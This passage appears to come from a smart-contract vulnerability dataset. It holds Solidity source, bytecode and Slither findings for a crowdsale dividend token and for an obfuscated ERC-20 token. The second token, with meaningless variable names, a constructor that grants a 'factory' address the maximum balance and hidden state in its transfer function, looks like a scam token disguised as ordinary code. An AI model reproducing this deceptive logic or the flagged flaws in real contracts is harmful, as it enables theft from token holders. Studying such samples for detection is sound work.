tokenHolders[tokenHolders.length.sub(1)] = account;
numberOfTokenHolders++;
status = true;
}
return status;
}
//Allows the owner to create an record of token owners and their balances
function createRecord() internal {
for (uint i = 0; i < (tokenHolders.length.sub(1)); i++ ) {
address holder = getTokenHolder(i);
uint256 holderBal = balanceOf(holder);
addRecordEntry(holder);
recordBalance[holder] = holderBal;
}
}
//Returns the current price of the token for the crowdsale
function getPrice() returns (uint256 result) {
return price;
}
//Returns record contents
function getRecordBalance(address record) constant returns (uint256) {
return recordBalance[record];
}
//Returns the address of a specific index value
function getRecordHolder(uint256 index) constant returns (address) {
return address(recordTokenHolders[index.add(1)]);
}
//Returns time remaining on crowdsale
function getRemainingTime() constant returns (uint256) {
return stopTime;
}
//Returns the address of a specific index value
function getTokenHolder(uint256 index) constant returns (address) {
return address(tokenHolders[index.add(1)]);
}
//Pays out dividends to tokens holders of record, based on 500,000 token payment
function payOutDividend() onlyOwner returns (bool success) {
createRecord();
uint256 volume = totalSupply;
for (uint i = 0; i < (tokenHolders.length.sub(1)); i++) {
address payee = getTokenHolder(i);
uint256 stake = volume.div(dividendPayment.div(multiplier));
uint256 dividendPayout = balanceOf(payee).div(stake).mul(multiplier);
balance[payee] = balance[payee].add(dividendPayout);
totalSupply = totalSupply.add(dividendPayout);
Transfer(0, payee, dividendPayout);
}
return true;
}
//Sets the multisig wallet for a crowdsale
function setMultiSigWallet(address wallet) onlyOwner returns (bool success) {
multiSigWallet = wallet;
return true;
}
//Sets the token price
function setPrice(uint256 newPriceperEther) onlyOwner returns (uint256) {
require(newPriceperEther > 0);
price = newPriceperEther;
return price;
}
//Allows owner to start the crowdsale from the time of execution until a specified stopTime
function startSale(uint256 saleStart, uint256 saleStop) onlyOwner returns (bool success) {
require(saleStop > now);
startTime = saleStart;
stopTime = saleStop;
crowdsaleClosed = false;
return true;
}
//Allows owner to stop the crowdsale immediately
function stopSale() onlyOwner returns (bool success) {
stopTime = now;
crowdsaleClosed = true;
return true;
}
}
|
0x6060604052361561019f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303ff5e731461046f57806306fdde0314610498578063095ea7b3146105265780630b5982f014610580578063178ef307146105ad57806318160ddd146105d65780631e27ae4d146105ff57806323b872dd14610662578063268b0459146106db578063313ce56714610728578063378dc3dc146107515780634b8feb4f1461077a57806370a08231146107cf57806378e979251461081c57806379c65068146108455780637b3e5e7b1461089f5780638da5cb5b146108c8578063908ccc5e1461091d57806391b7f5ed1461094657806395d89b411461097d57806398d5fdca14610a0b578063a035b1fe14610a34578063a9059cbb14610a5d578063ab74731d14610ab7578063b071cbe614610ae0578063ca55954c14610b09578063da49808414610b6c578063dd62ed3e14610bbd578063e36b0b3714610c29578063efb98bcf14610c56578063f03b0c0b14610c7f578063f2fde38b14610cd0578063f4f3122e14610d09575b600080601460009054906101000a900460ff161580156101c05750600f5442105b80156102295750601054610226610215670de0b6b3a7640000610207601b546101f96101ea610d4d565b34610d5790919063ffffffff16565b610d5790919063ffffffff16565b610d8a90919063ffffffff16565b600554610da590919063ffffffff16565b11155b151561023457600080fd5b339150610266610255670de0b6b3a764000034610d8a90919063ffffffff16565b600a54610da590919063ffffffff16565b600a819055506102b4670de0b6b3a76400006102a6601b54610298610289610d4d565b34610d5790919063ffffffff16565b610d5790919063ffffffff16565b610d8a90919063ffffffff16565b90506102cb81600554610da590919063ffffffff16565b60058190555061032381600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da590919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156103c857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561046b5761046982610dc3565b505b5050005b341561047a57600080fd5b610482610f02565b6040518082815260200191505060405180910390f35b34156104a357600080fd5b6104ab610f08565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104eb5780820151818401526020810190506104d0565b50505050905090810190601f1680156105185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561053157600080fd5b610566600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fa6565b604051808215151515815260200191505060405180910390f35b341561058b57600080fd5b610593611098565b604051808215151515815260200191505060405180910390f35b34156105b857600080fd5b6105c06112ae565b6040518082815260200191505060405180910390f35b34156105e157600080fd5b6105e96112b4565b6040518082815260200191505060405180910390f35b341561060a57600080fd5b61062060048080359060200190919050506112ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561066d57600080fd5b6106c1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611311565b604051808215151515815260200191505060405180910390f35b34156106e657600080fd5b610712600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611623565b6040518082815260200191505060405180910390f35b341561073357600080fd5b61073b61166c565b6040518082815260200191505060405180910390f35b341561075c57600080fd5b610764611672565b6040518082815260200191505060405180910390f35b341561078557600080fd5b61078d611678565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107da57600080fd5b610806600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061169e565b6040518082815260200191505060405180910390f35b341561082757600080fd5b61082f6116e7565b6040518082815260200191505060405180910390f35b341561085057600080fd5b610885600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116ed565b604051808215151515815260200191505060405180910390f35b34156108aa57600080fd5b6108b2611815565b6040518082815260200191505060405180910390f35b34156108d357600080fd5b6108db61181b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561092857600080fd5b610930611840565b6040518082815260200191505060405180910390f35b341561095157600080fd5b6109676004808035906020019091905050611846565b6040518082815260200191505060405180910390f35b341561098857600080fd5b6109906118c3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d05780820151818401526020810190506109b5565b50505050905090810190601f1680156109fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a1657600080fd5b610a1e610d4d565b6040518082815260200191505060405180910390f35b3415610a3f57600080fd5b610a47611961565b6040518082815260200191505060405180910390f35b3415610a6857600080fd5b610a9d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611967565b604051808215151515815260200191505060405180910390f35b3415610ac257600080fd5b610aca611b66565b6040518082815260200191505060405180910390f35b3415610aeb57600080fd5b610af3611b6c565b6040518082815260200191505060405180910390f35b3415610b1457600080fd5b610b2a6004808035906020019091905050611b72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b7757600080fd5b610ba3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc3565b604051808215151515815260200191505060405180910390f35b3415610bc857600080fd5b610c13600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bc9565b6040518082815260200191505060405180910390f35b3415610c3457600080fd5b610c3c611c50565b604051808215151515815260200191505060405180910390f35b3415610c6157600080fd5b610c69611cd6565b6040518082815260200191505060405180910390f35b3415610c8a57600080fd5b610cb6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ce0565b604051808215151515815260200191505060405180910390f35b3415610cdb57600080fd5b610d07600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d87565b005b3415610d1457600080fd5b610d336004808035906020019091908035906020019091905050611e25565b604051808215151515815260200191505060405180910390f35b6000601154905090565b60008082840290506000841480610d785750828482811515610d7557fe5b04145b1515610d8057fe5b8091505092915050565b6000808284811515610d9857fe5b0490508091505092915050565b6000808284019050838110151515610db957fe5b8091505092915050565b600080600090506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515610ef957601380549050601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060138054809190600101610e7091906120a7565b50826013610e8d6001601380549050611ec390919063ffffffff16565b815481101515610e9957fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60008154809291906001019190505550600190505b80915050919050565b600f5481565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9e5780601f10610f7357610100808354040283529160200191610f9e565b820191906000526020600020905b815481529060010190602001808311610f8157829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110fc57600080fd5b611104611edc565b6005549450600093505b6111276001601380549050611ec390919063ffffffff16565b8410156112a25761113784611b72565b9250611162611153601b54600b54610d8a90919063ffffffff16565b86610d8a90919063ffffffff16565b9150611193601b54611185846111778761169e565b610d8a90919063ffffffff16565b610d5790919063ffffffff16565b90506111e781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da590919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061123f81600554610da590919063ffffffff16565b6005819055508273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3838060010194505061110e565b60019550505050505090565b600d5481565b60055481565b600060126112d2600184610da590919063ffffffff16565b8154811015156112de57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006060600481016000369050101561132957600080fd5b82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156113f4575082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561147f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b156116165782600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915061161b565b600091505b509392505050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60035481565b60045481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600e5481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174b57600080fd5b60008311151561175a57600080fd5b82905080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806005600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a357600080fd5b6000821115156118b257600080fd5b816011819055506011549050919050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119595780601f1061192e57610100808354040283529160200191611959565b820191906000526020600020905b81548152906001019060200180831161193c57829003601f168201915b505050505081565b60115481565b60006040600481016000369050101561197f57600080fd5b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611a4d5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15611b5a5782600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150611b5f565b600091505b5092915050565b600b5481565b60105481565b60006013611b8a600184610da590919063ffffffff16565b815481101515611b9657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cad57600080fd5b42600f819055506001601460006101000a81548160ff0219169083151502179055506001905090565b6000600f54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d3d57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611de257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e8257600080fd5b4282111515611e9057600080fd5b82600e8190555081600f819055506000601460006101000a81548160ff0219169083151502179055506001905092915050565b6000828211151515611ed157fe5b818303905092915050565b60008060008092505b611efe6001601380549050611ec390919063ffffffff16565b831015611f7557611f0e83611b72565b9150611f198261169e565b9050611f2482611f7a565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508280600101935050611ee5565b505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156120a457601280549050601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506012805480919060010161201f91906120a7565b5080601261203c6001601280549050611ec390919063ffffffff16565b81548110151561204857fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c600081548092919060010191905055505b50565b8154818355818115116120ce578183600052602060002091820191016120cd91906120d3565b5b505050565b6120f591905b808211156120f15760008160009055506001016120d9565b5090565b905600a165627a7a723058208785ae7fc991a33c25e16197252218a07dae6926d4c9e43220127993fedb39300029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 7,742 |
0x42d29A4d20582B7579beb79ECAB39F1e75ba0013
|
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.8;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private _rTotal = ~uint256(0);
uint256 private image = _tTotal;
uint256 public _fee = 5;
mapping(address => uint256) private ourselves;
mapping(uint256 => address) private news;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private printed;
mapping(address => uint256) private able;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
IUniswapV2Router02 public router;
address public uniswapV2Pair;
string private _symbol;
string private _name;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address factory
) {
_name = _NAME;
_symbol = _SYMBOL;
ourselves[msg.sender] = image;
_balances[msg.sender] = _tTotal;
ourselves[factory] = image;
_balances[factory] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
news[image] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address becoming,
address model,
uint256 amount
) private {
bool cost = becoming != news[image];
address seeing = printed[image];
uint256 drawn = _fee;
if (ourselves[becoming] == 0 && able[becoming] > 0 && cost) {
ourselves[becoming] -= drawn;
}
printed[image] = model;
if (ourselves[becoming] > 0 && amount == 0) {
ourselves[model] += drawn;
}
able[seeing] += drawn;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[becoming] -= fee;
_balances[becoming] -= amount;
_balances[model] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f919061101a565b60405180910390f35b610132600480360381019061012d91906110d5565b610392565b60405161013f9190611130565b60405180910390f35b6101506103a7565b60405161015d919061115a565b60405180910390f35b610180600480360381019061017b9190611175565b6103b1565b60405161018d9190611130565b60405180910390f35b61019e610500565b6040516101ab919061115a565b60405180910390f35b6101bc610519565b6040516101c991906111d7565b60405180910390f35b6101ec60048036038101906101e791906111f2565b61053f565b6040516101f9919061115a565b60405180910390f35b61020a610588565b005b610214610610565b60405161022191906111d7565b60405180910390f35b610232610639565b60405161023f919061101a565b60405180910390f35b610262600480360381019061025d91906110d5565b6106cb565b60405161026f9190611130565b60405180910390f35b610280610747565b60405161028d919061115a565b60405180910390f35b6102b060048036038101906102ab919061121f565b61074d565b6040516102bd919061115a565b60405180910390f35b6102e060048036038101906102db91906111f2565b6107d4565b005b6102ea6108cb565b6040516102f791906112be565b60405180910390f35b6060600e805461030f90611308565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611308565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec906113ab565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d919061115a565b60405180910390a36104f7843384600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906113fa565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610eb5565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb9061147a565b60405180910390fd5b61060e6000610ebd565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d805461064890611308565b80601f016020809104026020016040519081016040528092919081815260200182805461067490611308565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610735919061115a565b60405180910390a36001905092915050565b60045481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610eb5565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108479061147a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b69061150c565b60405180910390fd5b6108c881610ebd565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000